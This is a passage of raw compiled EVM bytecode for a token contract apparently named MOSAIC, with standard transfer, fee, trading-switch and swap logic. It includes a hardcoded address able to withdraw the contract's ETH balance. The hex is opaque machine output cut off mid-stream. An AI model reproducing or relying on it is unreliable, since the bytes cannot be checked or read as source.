012905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b3373ffffffffffffffffffffffffffffffffffffffff16610be3611069565b73ffffffffffffffffffffffffffffffffffffffff1614610c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3090613203565b60405180910390fd5b60648183610c4791906132fb565b14610c87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7e9061337b565b60405180910390fd5b816007600001819055508060076001018190555080827f1e01a4924a1710040404be0f848c65e242cad98e407ad44f993abe891bd61c5360405160405180910390a35050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610d42611069565b73ffffffffffffffffffffffffffffffffffffffff1614610d98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8f90613203565b60405180910390fd5b60004711610ddb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd29061340d565b60405180910390fd5b610de3612250565b565b3373ffffffffffffffffffffffffffffffffffffffff16610e04611069565b73ffffffffffffffffffffffffffffffffffffffff1614610e5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5190613203565b60405180910390fd5b6001600d54148015610e6a575080155b610e7357600080fd5b8282600385859050610e85919061342d565b818110610e9557610e94613461565b5b90506020020135600e819055508282600185859050610eb4919061342d565b818110610ec457610ec3613461565b5b90506020020135600e5410610edc57610edb613490565b5b505050565b600c60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610f5c611069565b73ffffffffffffffffffffffffffffffffffffffff1614610fb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa990613203565b60405180910390fd5b610fbc60006123be565b565b60058060000154908060010154905082565b3373ffffffffffffffffffffffffffffffffffffffff16610fef611069565b73ffffffffffffffffffffffffffffffffffffffff1614611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103c90613203565b60405180910390fd5b600c60009054906101000a900460ff161561105f57600080fd5b6001600d81905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60078060000154908060010154905082565b60606040518060400160405280600381526020017f4d4f530000000000000000000000000000000000000000000000000000000000815250905090565b3373ffffffffffffffffffffffffffffffffffffffff16611100611069565b73ffffffffffffffffffffffffffffffffffffffff1614611156576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114d90613203565b60405180910390fd5b60056000015482111561119e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111959061350b565b60405180910390fd5b6005600101548111156111e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111dd90613577565b60405180910390fd5b816005600001819055508060056001018190555080827f64f84976d9c917a44796104a59950fdbd9b3c16a5dd348b546d738301f6bd06860405160405180910390a35050565b6000611239338484611c9d565b905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16611260611069565b73ffffffffffffffffffffffffffffffffffffffff16146112b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ad90613203565b60405180910390fd5b60005b8383905081101561147b57811515600360008686858181106112de576112dd613461565b5b90506020020160208101906112f39190612db1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361137d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137490613609565b60405180910390fd5b816003600086868581811061139557611394613461565b5b90506020020160208101906113aa9190612db1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081151584848381811061141157611410613461565b5b90506020020160208101906114269190612db1565b73ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb60405160405180910390a3808061147390613629565b9150506112b9565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff166114a0611069565b73ffffffffffffffffffffffffffffffffffffffff16146114f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ed90613203565b60405180910390fd5b600c60009054906101000a900460ff1615801561151657506000600d5414155b61151f57600080fd5b600e544361152d91906132fb565b600d600082825461153e91906132fb565b925050819055506001600c60006101000a81548160ff0219169083151502179055507fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f60405160405180910390a1565b3373ffffffffffffffffffffffffffffffffffffffff166115ad611069565b73ffffffffffffffffffffffffffffffffffffffff1614611603576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fa90613203565b60405180910390fd5b801515600c60019054906101000a900460ff16151503611658576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164f906136e3565b60405180910390fd5b80600c60016101000a81548160ff0219169083151502179055508015157fb9bbb15e341600c8d067a0cadeba219905d5ba6d422b193c9c32265d26fc51c860405160405180910390a250565b60098060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905083565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166117c2611069565b73ffffffffffffffffffffffffffffffffffffffff1614611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90613203565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187d90613775565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016118c19190612e77565b602060405180830381865afa1580156118de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061190291906137aa565b905060008111611947576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193e90613849565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401611982929190613869565b6020604051808303816000875af11580156119a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c591906138a7565b505050565b670de0b6b3a764000062030d406119e19190613175565b81565b3373ffffffffffffffffffffffffffffffffffffffff16611a03611069565b73ffffffffffffffffffffffffffffffffffffffff1614611a59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5090613203565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abf90613946565b60405180910390fd5b611ad1816123be565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3a906139b2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba9906139b2565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c909190612d1c565b60405180910390a3505050565b60008383600c60009054906101000a900460ff1680611d0c5750600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80611d605750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611d9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9690613a1e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1603611e0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0590613ab0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7490613b42565b60405180910390fd5b6000841480611e985750600c60029054906101000a900460ff165b15611eaf57611ea8868686612482565b9250612247565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611f555750600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611fb25750600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561202457670de0b6b3a764000062030d40611fce9190613175565b611fd786610ef4565b85611fe291906132fb565b1115612023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201a90613bd4565b60405180910390fd5b5b600c60019054906101000a900460ff16801561204d5750600c60029054906101000a900460ff16155b80156120a557507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b80156120fb5750600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121515750600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561215f5761215e612250565b5b6000600c60029054906101000a900460ff16159050600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122155750600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561221f57600090505b80156122385761223087878761261e565b935050612247565b612243878787612482565b9350505b50509392505050565b6001600c60026101000a81548160ff021916908315150217905550600061227630610ef4565b9050670de0b6b3a764000061271061228e9190613175565b8110806122a0575061229e612667565b155b156122ab57506123a1565b6014670de0b6b3a76400006127106122c39190613175565b6122cd9190613175565b8111156122f9576014670de0b6b3a76400006127106122ec9190613175565b6122f69190613175565b90505b600047905061230782612692565b60008147612315919061342d565b9050600081111561239d57600060646007600101546002846123379190613175565b6123419190613175565b61234b9190613c23565b9050600060646007600001546002856123649190613175565b61236e9190613175565b6123789190613c23565b905061239a6003828461238b91906132fb565b6123959190613c23565b6128b9565b50505b5050505b6000600c60026101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561250a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250190613ca0565b60405180910390fd5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125a691906132fb565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161260a9190612d1c565b60405180910390a360019150509392505050565b60008061262c858585612a17565b9050600081111561265257612642853083612482565b50808361264f919061342d565b92505b61265d858585612482565b9150509392505050565b6000600d544311801561268d575060036004600043815260200190815260200160002054105b905090565b6004600043815260200190815260200160002060008154809291906126b690613629565b91905055506000600267ffffffffffffffff8111156126d8576126d7613cc0565b5b6040519080825280602002602001820160405280156127065781602001602082028036833780820191505090505b509050308160008151811061271e5761271d613461565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156127b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127db9190613d04565b816001815181106127ef576127ee613461565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161287f959493929190613e2a565b600060405180830381600087803b15801561289957600080fd5b505af19250505080156128aa575060015b6128b457506128b6565b505b50565b6000600960010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660646007600101548461290a9190613175565b6129149190613c23565b60405161292090613eb5565b60006040518083038185875af1925050503d806000811461295d576040519150601f19603f3d011682016040523d82523d6000602084013e612962565b606091505b50509050600960020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166064600760000154846129b59190613175565b6129bf9190613c23565b6040516129cb90613eb5565b60006040518083038185875af1925050503d8060008114612a08576040519150601f19603f3d011682016040523d82523d6000602084013e612a0d565b606091505b5050809150505050565b6000600d546000108015612a2c575043600d54105b15612ab45760647f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614612a9157600560000154612a98565b6005600101545b83612aa39190613175565b612aad9190613c23565b9050612b40565b60647f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614612b22576000600d5414612b1a57603c612b1d565b60195b612b25565b60325b60ff1683612b339190613175565b612b3d9190613c23565b90505b9392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b81578082015181840152602081019050612b66565b60008484015250505050565b6000601f19601f8301169050919050565b6000612ba982612b47565b612bb38185612b52565b9350612bc3818560208601612b63565b612bcc81612b8d565b840191505092915050565b60006020820190508181036000830152612bf18184612b9e565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c2e82612c03565b9050919050565b612c3e81612c23565b8114612c4957600080fd5b50565b600081359050612c5b81612c35565b92915050565b6000819050919050565b612c7481612c61565b8114612c7f57600080fd5b50565b600081359050612c9181612c6b565b92915050565b60008060408385031215612cae57612cad612bf9565b5b6000612cbc85828601612c4c565b9250506020612ccd85828601612c82565b9150509250929050565b60008115159050919050565b612cec81612cd7565b82525050565b6000602082019050612d076000830184612ce3565b92915050565b612d1681612c61565b82525050565b6000602082019050612d316000830184612d0d565b92915050565b6000819050919050565b6000612d5c612d57612d5284612c03565b612d37565b612c03565b9050919050565b6000612d6e82612d41565b9050919050565b6000612d8082612d63565b9050919050565b612d9081612d75565b82525050565b6000602082019050612dab6000830184612d87565b92915050565b600060208284031215612dc757612dc6612bf9565b5b6000612dd584828501612c4c565b91505092915050565b600080600060608486031215612df757612df6612bf9565b5b6000612e0586828701612c4c565b9350506020612e1686828701612c4c565b9250506040612e2786828701612c82565b9150509250925092565b600060ff82169050919050565b612e4781612e31565b82525050565b6000602082019050612e626000830184612e3e565b92915050565b612e7181612c23565b82525050565b6000602082019050612e8c6000830184612e68565b92915050565b60008060408385031215612ea957612ea8612bf9565b5b6000612eb785828601612c82565b9250506020612ec885828601612c82565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f840112612ef757612ef6612ed2565b5b8235905067ffffffffffffffff811115612f1457612f13612ed7565b5b602083019150836020820283011115612f3057612f2f612edc565b5b9250929050565b612f4081612cd7565b8114612f4b57600080fd5b50565b600081359050612f5d81612f37565b92915050565b600080600060408486031215612f7c57612f7b612bf9565b5b600084013567ffffffffffffffff811115612f9a57612f99612bfe565b5b612fa686828701612ee1565b93509350506020612fb986828701612f4e565b9150509250925092565b6000604082019050612fd86000830185612d0d565b612fe56020830184612d0d565b9392505050565b60008083601f84011261300257613001612ed2565b5b8235905067ffffffffffffffff81111561301f5761301e612ed7565b5b60208301915083602082028301111561303b5761303a612edc565b5b9250929050565b60008060006040848603121561305b5761305a612bf9565b5b600084013567ffffffffffffffff81111561307957613078612bfe565b5b61308586828701612fec565b9350935050602061309886828701612f4e565b9150509250925092565b6000602082840312156130b8576130b7612bf9565b5b60006130c684828501612f4e565b91505092915050565b60006060820190506130e46000830186612e68565b6130f16020830185612e68565b6130fe6040830184612e68565b949350505050565b6000806040838503121561311d5761311c612bf9565b5b600061312b85828601612c4c565b925050602061313c85828601612c4c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061318082612c61565b915061318b83612c61565b925082820261319981612c61565b915082820484148315176131b0576131af613146565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006131ed602083612b52565b91506131f8826131b7565b602082019050919050565b6000602082019050818103600083015261321c816131e0565b9050919050565b7f546f6b656e3a206e6f2065746820746f20636c65617200000000000000000000600082015250565b6000613259601683612b52565b915061326482613223565b602082019050919050565b600060208201905081810360008301526132888161324c565b9050919050565b7f45524332303a20696e73756666696369656e7420416c6c6f77616e6365000000600082015250565b60006132c5601d83612b52565b91506132d08261328f565b602082019050919050565b600060208201905081810360008301526132f4816132b8565b9050919050565b600061330682612c61565b915061331183612c61565b925082820190508082111561332957613328613146565b5b92915050565b7f546f6b656e3a20726174696f206d7573742061646420746f2031303025000000600082015250565b6000613365601d83612b52565b91506133708261332f565b602082019050919050565b6000602082019050818103600083015261339481613358565b9050919050565b7f546f6b656e3a206e6f20636f6e747261637420746f6b656e7320746f20636c6560008201527f6172000000000000000000000000000000000000000000000000000000000000602082015250565b60006133f7602283612b52565b91506134028261339b565b604082019050919050565b60006020820190508181036000830152613426816133ea565b9050919050565b600061343882612c61565b915061344383612c61565b925082820390508181111561345b5761345a613146565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b7f546f6b656e3a206d757374207265647563652062757920666565000000000000600082015250565b60006134f5601a83612b52565b9150613500826134bf565b602082019050919050565b60006020820190508181036000830152613524816134e8565b9050919050565b7f546f6b656e3a206d757374207265647563652073656c6c206665650000000000600082015250565b6000613561601b83612b52565b915061356c8261352b565b602082019050919050565b6000602082019050818103600083015261359081613554565b9050919050565b7f546f6b656e3a206164647265737320616c7265616479207b73686f756c64457860008201527f636c7564657d0000000000000000000000000000000000000000000000000000602082015250565b60006135f3602683612b52565b91506135fe82613597565b604082019050919050565b60006020820190508181036000830152613622816135e6565b9050919050565b600061363482612c61565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361366657613665613146565b5b600182019050919050565b7f546f6b656e3a2073776170456e61626c656420616c7265616479207b73686f7560008201527f6c64456e61626c657d0000000000000000000000000000000000000000000000602082015250565b60006136cd602983612b52565b91506136d882613671565b604082019050919050565b600060208201905081810360008301526136fc816136c0565b9050919050565b7f546f6b656e3a2063616e277420636c65617220636f6e747261637420746f6b6560008201527f6e00000000000000000000000000000000000000000000000000000000000000602082015250565b600061375f602183612b52565b915061376a82613703565b604082019050919050565b6000602082019050818103600083015261378e81613752565b9050919050565b6000815190506137a481612c6b565b92915050565b6000602082840312156137c0576137bf612bf9565b5b60006137ce84828501613795565b91505092915050565b7f546f6b656e3a206e6f7420656e6f75676820746f6b656e7320746f20636c656160008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000613833602183612b52565b915061383e826137d7565b604082019050919050565b6000602082019050818103600083015261386281613826565b9050919050565b600060408201905061387e6000830185612e68565b61388b6020830184612d0d565b9392505050565b6000815190506138a181612f37565b92915050565b6000602082840312156138bd576138bc612bf9565b5b60006138cb84828501613892565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613930602683612b52565b915061393b826138d4565b604082019050919050565b6000602082019050818103600083015261395f81613923565b9050919050565b7f45524332303a207a65726f204164647265737300000000000000000000000000600082015250565b600061399c601383612b52565b91506139a782613966565b602082019050919050565b600060208201905081810360008301526139cb8161398f565b9050919050565b7f546f6b656e3a2054726164696e67206973206e6f74206163746976652e000000600082015250565b6000613a08601d83612b52565b9150613a13826139d2565b602082019050919050565b60006020820190508181036000830152613a37816139fb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613a9a602583612b52565b9150613aa582613a3e565b604082019050919050565b60006020820190508181036000830152613ac981613a8d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b2c602383612b52565b9150613b3782613ad0565b604082019050919050565b60006020820190508181036000830152613b5b81613b1f565b9050919050565b7f546f6b656e3a206d61782077616c6c657420616d6f756e74206578636565646560008201527f6400000000000000000000000000000000000000000000000000000000000000602082015250565b6000613bbe602183612b52565b9150613bc982613b62565b604082019050919050565b60006020820190508181036000830152613bed81613bb1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c2e82612c61565b9150613c3983612c61565b925082613c4957613c48613bf4565b5b828204905092915050565b7f546f6b656e3a20696e73756666696369656e742042616c616e63650000000000600082015250565b6000613c8a601b83612b52565b9150613c9582613c54565b602082019050919050565b60006020820190508181036000830152613cb981613c7d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050613cfe81612c35565b92915050565b600060208284031215613d1a57613d19612bf9565b5b6000613d2884828501613cef565b91505092915050565b6000819050919050565b6000613d56613d51613d4c84613d31565b612d37565b612c61565b9050919050565b613d6681613d3b565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613da181612c23565b82525050565b6000613db38383613d98565b60208301905092915050565b6000602082019050919050565b6000613dd782613d6c565b613de18185613d77565b9350613dec83613d88565b8060005b83811015613e1d578151613e048882613da7565b9750613e0f83613dbf565b925050600181019050613df0565b5085935050505092915050565b600060a082019050613e3f6000830188612d0d565b613e4c6020830187613d5d565b8181036040830152613e5e8186613dcc565b9050613e6d6060830185612e68565b613e7a6080830184612d0d565b9695505050505050565b600081905092915050565b50565b6000613e9f600083613e84565b9150613eaa82613e8f565b600082019050919050565b6000613ec082613e92565b915081905091905056fea26469706673582212204de64b0352c4606d7aaa49aae2b3df22c4ef0aa51023c7f53344994ed2c38d1464736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101e75760003560e01c8063715018a611610102578063c492f04611610095578063dd62ed3e11610064578063dd62ed3e14610695578063e303e662146106d2578063e80c7ded146106fb578063f2fde38b14610726576101ee565b8063c492f046146105ff578063c9567bf914610628578063d2a09c711461063f578063d2f4a50a14610668576101ee565b80638ffee785116100d15780638ffee7851461054257806395d89b411461056e578063a08fc5c714610599578063a9059cbb146105c2576101ee565b8063715018a6146104bd57806374378132146104d45780638129fc1c146105005780638da5cb5b14610517576101ee565b8063313ce5671161017a5780635b895c29116101495780635b895c291461041557806364e329e31461042c5780636ddd17131461045557806370a0823114610480576101ee565b8063313ce5671461035957806349bd5a5e146103845780634fa2cf8a146103af5780634fbee193146103d8576101ee565b806318160ddd116101b657806318160ddd146102b15780631a695230146102dc5780631b9152bf1461030557806323b872dd1461031c576101ee565b806306fdde03146101f3578063095ea7b31461021e5780630e5a92311461025b5780631694505e14610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861074f565b6040516102159190612bd7565b60405180910390f35b34801561022a57600080fd5b5061024560048036038101906102409190612c97565b61078c565b6040516102529190612cf2565b60405180910390f35b34801561026757600080fd5b506102706107a3565b60405161027d9190612d1c565b60405180910390f35b34801561029257600080fd5b5061029b6107bc565b6040516102a89190612d96565b60405180910390f35b3480156102bd57600080fd5b506102c66107d4565b6040516102d39190612d1c565b60405180910390f35b3480156102e857600080fd5b5061030360048036038101906102fe9190612db1565b6107f2565b005b34801561031157600080fd5b5061031a61088d565b005b34801561032857600080fd5b50610343600480360381019061033e9190612dde565b61098e565b6040516103509190612cf2565b60405180910390f35b34801561036557600080fd5b5061036e610b97565b60405161037b9190612e4d565b60405180910390f35b34801561039057600080fd5b50610399610ba0565b6040516103a69190612e77565b60405180910390f35b3480156103bb57600080fd5b506103d660048036038101906103d19190612e92565b610bc4565b005b3480156103e457600080fd5b506103ff60048036038101906103fa9190612db1565b610ccd565b60405161040c9190612cf2565b60405180910390f35b34801561042157600080fd5b5061042a610d23565b005b34801561043857600080fd5b50610453600480360381019061044e9190612f63565b610de5565b005b34801561046157600080fd5b5061046a610ee1565b6040516104779190612cf2565b60405180910390f35b34801561048c57600080fd5b506104a760048036038101906104a29190612db1565b610ef4565b6040516104b49190612d1c565b60405180910390f35b3480156104c957600080fd5b506104d2610f3d565b005b3480156104e057600080fd5b506104e9610fbe565b6040516104f7929190612fc3565b60405180910390f35b34801561050c57600080fd5b50610515610fd0565b005b34801561052357600080fd5b5061052c611069565b6040516105399190612e77565b60405180910390f35b34801561054e57600080fd5b50610557611092565b604051610565929190612fc3565b60405180910390f35b34801561057a57600080fd5b506105836110a4565b6040516105909190612bd7565b60405180910390f35b3480156105a557600080fd5b506105c060048036038101906105bb9190612e92565b6110e1565b005b3480156105ce57600080fd5b506105e960048036038101906105e49190612c97565b61122c565b6040516105f69190612cf2565b60405180910390f35b34801561060b57600080fd5b5061062660048036038101906106219190613042565b611241565b005b34801561063457600080fd5b5061063d611481565b005b34801561064b57600080fd5b50610666600480360381019061066191906130a2565b61158e565b005b34801561067457600080fd5b5061067d6116a4565b60405161068c939291906130cf565b60405180910390f35b3480156106a157600080fd5b506106bc60048036038101906106b79190613106565b61171c565b6040516106c99190612d1c565b60405180910390f35b3480156106de57600080fd5b506106f960048036038101906106f49190612db1565b6117a3565b005b34801561070757600080fd5b506107106119ca565b60405161071d9190612d1c565b60405180910390f35b34801561073257600080fd5b5061074d60048036038101906107489190612db1565b6119e4565b005b60606040518060400160405280600681526020017f4d4f534149430000000000000000000000000000000000000000000000000000815250905090565b6000610799338484611ad4565b6001905092915050565b670de0b6b3a76400006127106107b99190613175565b81565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000670de0b6b3a7640000629896806107ed9190613175565b905090565b736ee9b2e16fd6dce8e1a406904f698e088e9c160773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610885578073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561087f573d6000803e3d6000fd5b5061088a565b600080fd5b50565b3373ffffffffffffffffffffffffffffffffffffffff166108ac611069565b73ffffffffffffffffffffffffffffffffffffffff1614610902576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f990613203565b60405180910390fd5b60004711610945576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093c9061326f565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561098b573d6000803e3d6000fd5b50565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610b83576000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610af7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aee906132db565b60405180910390fd5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550505b610b8e848484611c9d565b90509392505050565b60006012905090565b7f0000000000000000000000000334d2deda2721aa0f4f40a8439e6072105e2c8481565b3373ffffffffffffffffffffffffffffffffffffffff16610be3611069565b73ffffffffffffffffffffffffffffffffffffffff1614610c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3090613203565b60405180910390fd5b60648183610c4791906132fb565b14610c87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7e9061337b565b60405180910390fd5b816007600001819055508060076001018190555080827f1e01a4924a1710040404be0f848c65e242cad98e407ad44f993abe891bd61c5360405160405180910390a35050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610d42611069565b73ffffffffffffffffffffffffffffffffffffffff1614610d98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8f90613203565b60405180910390fd5b6000471161